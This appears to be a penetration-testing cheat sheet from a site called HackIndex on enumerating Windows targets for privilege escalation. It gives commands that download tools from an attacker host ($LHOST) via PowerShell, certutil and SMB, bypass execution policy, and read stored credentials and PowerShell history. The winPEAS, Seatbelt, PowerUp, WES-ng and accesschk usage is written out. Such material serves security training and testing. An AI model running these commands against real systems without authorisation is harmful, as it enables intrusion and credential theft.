Skip to content
HackIndex logo

HackIndex

Windows Privilege Escalation Enumeration Tools

4 min read May 15, 2026

Automated enumeration is the first step after landing a shell on a Windows target. These tools identify misconfigurations, weak permissions, stored credentials, and exploitable services in seconds. Always run enumeration before attempting any specific technique.

Getting Tools onto the Target

PowerShell download (most common):

PS C:\Users\Guest\Desktop> # On target — download from attack box
PS C:\Users\Guest\Desktop> (New-Object Net.WebClient).DownloadFile("http://$LHOST:8080/winpeas.exe", "C:\Windows\Temp\winpeas.exe")
 
PS C:\Users\Guest\Desktop> # Or via Invoke-WebRequest
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri "http://$LHOST:8080/winpeas.exe" -OutFile "C:\Windows\Temp\winpeas.exe"

Certutil (no PowerShell needed):

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/winpeas.exe C:\Windows\Temp\winpeas.exe

Base64 encode for restricted shells:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ base64 -w 0 winpeas.exe > winpeas.b64
PS C:\Users\Guest\Desktop> # On target — paste and decode
PS C:\Users\Guest\Desktop> [System.IO.File]::WriteAllBytes("C:\Windows\Temp\winpeas.exe", [System.Convert]::FromBase64String("PASTEBASE64HERE"))

SMB share from attack box:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share /path/to/tools -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ copy \\$LHOST\share\winpeas.exe C:\Windows\Temp\

winPEAS — Start Here

The most comprehensive Windows enumeration tool. Covers services, registry, credentials, scheduled tasks, token privileges, and network configuration.

C:\Users\Guest\Desktop> # Run with all checks
C:\Users\Guest\Desktop> C:\Windows\Temp\winpeas.exe
 
C:\Users\Guest\Desktop> # Save output to file
C:\Users\Guest\Desktop> C:\Windows\Temp\winpeas.exe > C:\Windows\Temp\winpeas_out.txt
 
C:\Users\Guest\Desktop> # Run specific category
C:\Users\Guest\Desktop> C:\Windows\Temp\winpeas.exe servicesinfo
C:\Users\Guest\Desktop> C:\Windows\Temp\winpeas.exe windowscreds
C:\Users\Guest\Desktop> C:\Windows\Temp\winpeas.exe filesinfo

Interpreting output:

  • Red — critical findings, likely directly exploitable

  • Yellow — interesting, investigate manually

  • Focus on: service binary permissions, unquoted paths, AlwaysInstallElevated, token privileges (SeImpersonate, SeBackup), stored credentials, autorun entries

Download: https://github.com/carlospolop/PEASS-ng/releases/latest

Seatbelt — Deep Configuration Audit

C# tool from GhostPack. Runs targeted checks across security configuration, credentials, and enumeration categories. More structured output than winPEAS.

PS C:\Users\Guest\Desktop> # Run all checks
PS C:\Users\Guest\Desktop> .\Seatbelt.exe -group=all
 
PS C:\Users\Guest\Desktop> # Specific groups
PS C:\Users\Guest\Desktop> .\Seatbelt.exe -group=system
PS C:\Users\Guest\Desktop> .\Seatbelt.exe -group=user
PS C:\Users\Guest\Desktop> .\Seatbelt.exe -group=misc
 
PS C:\Users\Guest\Desktop> # Individual checks
PS C:\Users\Guest\Desktop> .\Seatbelt.exe TokenPrivileges
PS C:\Users\Guest\Desktop> .\Seatbelt.exe CredEnum
PS C:\Users\Guest\Desktop> .\Seatbelt.exe PowerShellHistory
PS C:\Users\Guest\Desktop> .\Seatbelt.exe SavedRDPConnections
PS C:\Users\Guest\Desktop> .\Seatbelt.exe PuttySessions

Key checks for privesc: TokenPrivileges, UACSystemPolicies, PowerShellHistory, CredEnum, WindowsAutoLogon, McAfeeSiteList.

Download: https://github.com/GhostPack/Seatbelt

PowerUp — Automated Misconfig Checks

PowerShell script from PowerSploit. Specifically focused on privilege escalation vectors — service misconfigs, registry issues, unquoted paths, and token abuse.

PS C:\Users\Guest\Desktop> # Import and run all checks
PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Invoke-AllChecks
 
PS C:\Users\Guest\Desktop> # Save output
PS C:\Users\Guest\Desktop> Invoke-AllChecks | Out-File -Encoding ASCII C:\Windows\Temp\powerup_out.txt
 
PS C:\Users\Guest\Desktop> # Individual checks
PS C:\Users\Guest\Desktop> Get-UnquotedService
PS C:\Users\Guest\Desktop> # or Get-ServiceUnquoted on old PowerUp
PS C:\Users\Guest\Desktop> Get-ModifiableServiceFile
PS C:\Users\Guest\Desktop> # or Get-ServiceFilePermission on old PowerUp
PS C:\Users\Guest\Desktop> Get-ModifiableService
PS C:\Users\Guest\Desktop> # Get-ServicePermission on old PowerUp
PS C:\Users\Guest\Desktop> Get-RegistryAlwaysInstallElevated
PS C:\Users\Guest\Desktop> Get-RegistryAutoLogon
PS C:\Users\Guest\Desktop> Get-ModifiableRegistryAutoRun
PS C:\Users\Guest\Desktop> Get-ModifiableScheduledTaskFile

If execution policy blocks import:

C:\Users\Guest\Desktop> powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

Download: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

WES-ng — Kernel CVE Matching

Windows Exploit Suggester Next Generation. Compares systeminfo output against a CVE database to identify missing patches.

C:\Users\Guest\Desktop> # On target — collect systeminfo
C:\Users\Guest\Desktop> systeminfo > C:\Windows\Temp\sysinfo.txt

Transfer sysinfo.txt to your attack box, then:

C:\Users\Guest\Desktop> # On attack box
C:\Users\Guest\Desktop> pipx install xlrd
C:\Users\Guest\Desktop> python3 wes.py --update
C:\Users\Guest\Desktop> python3 wes.py sysinfo.txt
 
C:\Users\Guest\Desktop> # Filter to exploits only, exclude DoS
C:\Users\Guest\Desktop> python3 wes.py sysinfo.txt --exploits-only
C:\Users\Guest\Desktop> python3 wes.py sysinfo.txt -e --hide "Internet Explorer"

For kernel exploitation workflow see https://hackindex.io/platforms/windows/privilege-escalation/windows-kernel-exploits.

Download: https://github.com/bitsadmin/wesng

accesschk — Permission Verification

Sysinternals tool. Verifies exact permissions on services, files, registry keys, and processes. Use to confirm winPEAS findings before exploitation.

C:\Users\Guest\Desktop> # Check service permissions for current user
C:\Users\Guest\Desktop> accesschk.exe -ucqv * /accepteula 2>nul
 
C:\Users\Guest\Desktop> # Check a specific service
C:\Users\Guest\Desktop> accesschk.exe -ucqv "VulnerableService" /accepteula
 
C:\Users\Guest\Desktop> # Find all services current user can modify
C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Authenticated Users" * /accepteula
C:\Users\Guest\Desktop> accesschk.exe -uwcqv %USERNAME% * /accepteula
 
C:\Users\Guest\Desktop> # Check file permissions
C:\Users\Guest\Desktop> accesschk.exe -uwqs Users C:\* /accepteula
C:\Users\Guest\Desktop> accesschk.exe -uwqs "Everyone" C:\* /accepteula
 
C:\Users\Guest\Desktop> # Check registry key permissions
C:\Users\Guest\Desktop> accesschk.exe -uwkqs Users HKLM\System\CurrentControlSet\Services /accepteula

Download: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Manual Quick Checks

Run these manually before or alongside automated tools:

C:\Users\Guest\Desktop> # Current user and privileges
C:\Users\Guest\Desktop> whoami
C:\Users\Guest\Desktop> whoami /all
C:\Users\Guest\Desktop> whoami /priv
 
C:\Users\Guest\Desktop> # System info
C:\Users\Guest\Desktop> systeminfo
C:\Users\Guest\Desktop> hostname
 
C:\Users\Guest\Desktop> # Other users
C:\Users\Guest\Desktop> net user
C:\Users\Guest\Desktop> net localgroup administrators
 
C:\Users\Guest\Desktop> # Network
C:\Users\Guest\Desktop> ipconfig /all
C:\Users\Guest\Desktop> netstat -ano
C:\Users\Guest\Desktop> route print
 
C:\Users\Guest\Desktop> # Running services
C:\Users\Guest\Desktop> sc query
C:\Users\Guest\Desktop> tasklist /svc
 
C:\Users\Guest\Desktop> # Scheduled tasks
C:\Users\Guest\Desktop> schtasks /query /fo LIST /v
 
C:\Users\Guest\Desktop> # Installed software
C:\Users\Guest\Desktop> wmic product get name,version
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr "DisplayName"
 
C:\Users\Guest\Desktop> # PowerShell history
C:\Users\Guest\Desktop> type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

References